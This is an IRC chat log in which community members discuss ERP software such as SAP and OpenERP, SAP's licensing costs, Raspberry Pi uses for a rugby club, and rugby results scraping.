AlanBellali1234: it doesn't reduce the number of lines, it just happened to be for one customer the thing that made us say "you do what??"22:35
shaunoreducing lines is easy.  if our frontend is left to itself, it comes up to nearly 20 lines per item (once you include inbound, outbound, service orders that all fit in one PO)22:36
AlanBellevery customer has that thing, it is always different22:36
shaunowell, easy is maybe the wrong word, but certainly automatable22:36
* popey used to work on SAP which is basically proprietary OpenERP22:36
popey(and then some)22:36
ali1234but what does it do out of the box?22:37
AlanBellso for them the transaction cost of doing an invoice was irrelevant, it doesn't matter if you spend half a day preparing an invoice for over £100,00022:37
popeyrun your business22:37
popeyproduce management reports22:37
AlanBellfor a business with an invoice value of £50 then the transaction cost of processing an invoice matters a lot more22:37
ali1234(22:17:39) ali1234: i don't know anything about running a business22:37
popeyautomate workflow22:37
popeydo you drive?22:37
popeydo you ever use trains or buses?22:38
AlanBellanalogy police are standing by22:38
popeyok, so the train company uses an erp system, maybe for example to manage payrol22:38
popeyno analogy, factual ☺22:38
popeyThey have hundreds of workers all over the country22:38
popeyall on different pay scales, working different hours22:38
popeythey need a way to track who works when, and pay them the right amount22:39
popeyaccount for holidays and sick leave22:39
popeythe erp system _can_ do that for example22:39
ali1234ok so that's ONE thing it does22:39
popeybut that's just one part of thebusiness22:39
popeyyes, exactly22:39
ali1234what else does it do?22:39
matttseriously?  :/22:39
popeywith SAP, anything really ☺22:39
popeyHR, deal with hiring and firing of people22:40
popeymanaging the maintanance of trains and stations or buses or whatever22:40
popeymanage the income from parking fees, tickets etc22:40
AlanBellthe trick is to choose what bits to turn on, and not go wild and do everything all at once22:40
matttit says right on the homepage what this thing does22:40
AlanBellmattt: yeah, but that is marketing :)22:41
popeyEvery mid to large company uses an ERP system of some sort22:41
popeyall of them22:41
matttAlanBell: i just don't get where this conversation is going :)22:41
AlanBellit is a framework on which to build an ERP system that fits your business22:41
popeyevery oil company uses sap, microsoft use it, ford, ferrari, bmw.. all of them22:41
Davieypopey carried out an exhaustive survey and discovered this.22:41
popeyI did indeed.22:41
daubers(vodafone uses sap)22:41
popeywell, i saw the list of customers and it was big22:42
popeyeven HMRC and councils use it22:42
popeyand the RNLI sadly22:42
AlanBellpopey: what is the size of the smallest company that SAP would sensibly go in?22:43
popeythey have a small business product that they bought for that end of the market22:44
popeySAP Business One22:44
popeybut generally it's insanely expensive.22:45
popeythe payrol product license/maintenance cost is part based on per-seat and partly based on ya %age of your payroll bill!22:45
AlanBellthat is . . . I don't even. . .22:46
popeyyou also pay extra per developer you have22:46
popeyand which 'engines' you turn on22:46
AlanBellso what do SAP do with data on payroll bills of all big companies I wonder22:46
popeyand if you flip the switch to enable "extensions" to add functionality, you'll get charged more whether you use it or not22:47
shaunoI kinda hope they cut the rnli a good deal :/22:48
daubers\o/ extortion rackets22:48
shauno(I'd be surprised, but stress the word 'hope' :)22:48
AlanBellso there is a significant market opportunity in the "cheaper than SAP" segment of the ERP space22:48
mattti just got some spam from the rnli the other day22:49
matttincluded a fancy sticker, which you can only use if you donate22:49
zleapi have heard of SAP22:49
AlanBellshauno: RNLI are a well funded organisation, their head office is very very big these days22:49
matttzleap: good, so you have been in an airport then22:49
zleaplots of jobs requiring sap skills ears ago22:49
popeyhaha mattt22:49
popeyyeah, most european airports ☺22:49
zleapdunno i saw Redhat running on the highways agency display thing at a service station a few months ago22:50
matttreally?  where was this22:50
* daubers wonders why popeys sentences seem to end in a with a hat degrees22:50
AlanBellanyhow, OpenERP is quite good, and thanks to Canonical having the most complicated payroll structure the world has ever seen OpenERP is kinda good at payroll now apparently22:50
zleaprunning gnome, being a geek i kinda noticed it was gnome,22:50
diplo-popey, SAP :(22:51
matttzleap: really?  that's kind of odd advertising out there22:51
gordonjcpAlanBell: heh22:51
zleapwell the back end was clearly runningLinux,  and displaying info on the webpage but it had that error thing firefox comes up with when it restarts firefox and can't find the right page, ya know the one that says this is embarrasing22:52
diplo-Where i used to work, our SAP install was 1-2 mill install, ended being 7 million :/22:52
zleapthing is i was just passing throughotherwise i could have fixed it by clicking the right option :D22:52
matttzleap: oh, i thought you meant red hat was advertising out there, misread that totally :)22:53
popeythats cheap diplo-22:53
zleapmay have been fedora or redhat,  probably the former but heyy,  not running windows22:53
diplo-If they had spent 2-300k with the company I'm with now, they would have had all the stuff they needed22:53
diplo-Not for a small company like that22:53
zleapi have found a really good use for a raspberry PI, the rugby club wanted to hook a pc up to  one of the tvs to display messages, fixtures, news etc,  so the raspberry PI would work great for that22:54
diplo-zleap, I think that's exactly what they are going to be great for22:55
diplo-Stuff like that22:56
matttzleap: if you want to grab rugby results: http://rugby.io/22:56
zleapwell this will be local results22:56
matttwhich reminds me, i need to hurry and get my screen scraper set up for super15 :P22:56
mattt(starts tomorrow)22:56
zleapis that site updated in real time22:57
zleapi need south west one west results22:57
matttnot really real time, i scrape once an hour22:57
zleapwhich probably won't be real time unless we keep sending in the score22:57
zleapI am sure if I have latex + beamer + ssh I can update a presentation in real time using ssh22:58
ali1234hmm ok, i have to say that openerp is actually a lot less confusing than any of the similar systems i've tried before22:58
zleapi thought also i f I run openareana-server ont he same PC we can play multi player games at the rugby club :D22:59
zleapPC i mean raspberry pI22:59
diplo-ali1234, Start diving into it a bit22:59
diplo-It gets more confusing :)23:00
diplo-Good, but confusing23:00
ali1234i just mean from a UI POV23:00
* zleap has a big big game saturday Devon Cup semi final23:00
diplo-yeah, I've got to teach it to some very non techie people shortly23:00
ali1234i mean you can go through the sections and it's just obvious what they do23:00
diplo-I'm hoping the guys say the same thing23:00
diplo-Got to demo it to them soon23:00
zleapI should be able to convince the rugby club to invest in one,  its not as if the raspberry PI is gonna be expensive really23:01
AlanBellfrom a programming perspective it is a bit like django but more focussed and less flexible.23:01
diplo-Not looked at that side at all yet, back on it this weekend23:02
AlanBellless flexible isn't a bad thing, it is the same as more consistent23:02
diplo-Getting my PC back off my parents and will set up a VM on it so i don't have to keep bringing my work laptop home23:02
ali1234django is too flexible23:02
gordonjcpAlanBell: what, openerp?23:02
AlanBellgordonjcp: yes. well no. The OpenObject framework.23:02
AlanBellwhich is what openERP is written in23:02
gordonjcpoh, okay23:02
gordonjcpspike that on the pile of yet more things to play with when I get time..23:03
dogmatic69when downloading .exe's and running them on wine. Is it possible to get windows viruses?23:04
AlanBellwine must be pretty good by now23:07
diplo-gn all23:19

Generated by irclog2html.py 2.7 by Marius Gedminas - find it at mg.pov.lt!